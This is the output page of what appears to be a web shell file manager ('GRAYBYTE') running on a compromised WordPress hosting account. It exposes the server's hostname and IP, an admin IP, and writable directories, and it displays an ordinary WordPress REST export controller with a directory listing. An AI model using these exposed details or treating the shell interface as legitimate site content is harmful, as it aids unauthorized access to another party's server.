$16 GRAYBYTE WORDPRESS FILE MANAGER $83

SERVER : webd004.cluster105.gra.hosting.ovh.net #1 SMP Fri May 15 02:41:25 UTC 2026
SERVER IP : 213.186.33.16 | ADMIN IP 216.73.217.13
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : _dyuweyrj4,_dyuweyrj4r,dl

/home/agencefrei/www/rest-api/endpoints/

HOME
Current File : /home/agencefrei/www/rest-api/endpoints//class-wp-rest-edit-site-export-controller.php
<?php
/**
 * REST API: WP_REST_Edit_Site_Export_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 */

/**
 * Controller which provides REST endpoint for exporting current templates
 * and template parts.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'export';
	}

	/**
	 * Registers the site export route.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'export' ),
					'permission_callback' => array( $this, 'permissions_check' ),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to export.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has access, or WP_Error object.
	 */
	public function permissions_check() {
		if ( current_user_can( 'export' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_export_templates',
			__( 'Sorry, you are not allowed to export templates and template parts.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Output a ZIP file with an export of the current templates
	 * and template parts from the site editor, and close the connection.
	 *
	 * @since 5.9.0
	 *
	 * @return void|WP_Error
	 */
	public function export() {
		// Generate the export file.
		$filename = wp_generate_block_templates_export_file();

		if ( is_wp_error( $filename ) ) {
			$filename->add_data( array( 'status' => 500 ) );

			return $filename;
		}

		$theme_name = basename( get_stylesheet() );
		header( 'Content-Type: application/zip' );
		header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' );
		header( 'Content-Length: ' . filesize( $filename ) );
		flush();
		readfile( $filename );
		unlink( $filename );
		exit;
	}
}


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
2 Jun 2026 12.13 AM
agencefrei / users
0755
class-wp-rest-abilities-v1-categories-controller.php
7.896 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-abilities-v1-list-controller.php
13.07 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-abilities-v1-run-controller.php
6.87 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-application-passwords-controller.php
23.748 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-attachments-controller.php
56.796 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-autosaves-controller.php
15.139 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-block-directory-controller.php
9.677 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-block-pattern-categories-controller.php
4.701 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-block-patterns-controller.php
9.078 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-block-renderer-controller.php
5.727 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-block-types-controller.php
26.247 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-blocks-controller.php
3.055 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-comments-controller.php
61.56 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-controller.php
18.593 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-edit-site-export-controller.php
2.061 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-font-collections-controller.php
10.393 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-font-faces-controller.php
29.404 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-font-families-controller.php
17.438 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-global-styles-controller.php
23.255 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-global-styles-revisions-controller.php
12.983 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-icons-controller.php
7.063 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-menu-items-controller.php
32.489 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-menu-locations-controller.php
8.675 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-menus-controller.php
16.677 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-navigation-fallback-controller.php
5.05 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-pattern-directory-controller.php
12.578 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-plugins-controller.php
27.86 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-post-statuses-controller.php
10.067 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-post-types-controller.php
13.948 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-posts-controller.php
102.466 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-revisions-controller.php
27.272 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-search-controller.php
11.212 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-settings-controller.php
10.088 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-sidebars-controller.php
15.528 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-site-health-controller.php
9.605 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-taxonomies-controller.php
13.687 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-template-autosaves-controller.php
7.642 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-template-revisions-controller.php
8.52 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-templates-controller.php
37.34 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-terms-controller.php
34.614 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-themes-controller.php
22.912 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-url-details-controller.php
20.071 KB
6 Mar 2026 5.44 PM
agencefrei / users
0644
class-wp-rest-users-controller.php
48.673 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-widget-types-controller.php
18.752 KB
20 May 2026 11.16 PM
agencefrei / users
0644
class-wp-rest-widgets-controller.php
26.232 KB
20 May 2026 11.16 PM
agencefrei / users
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF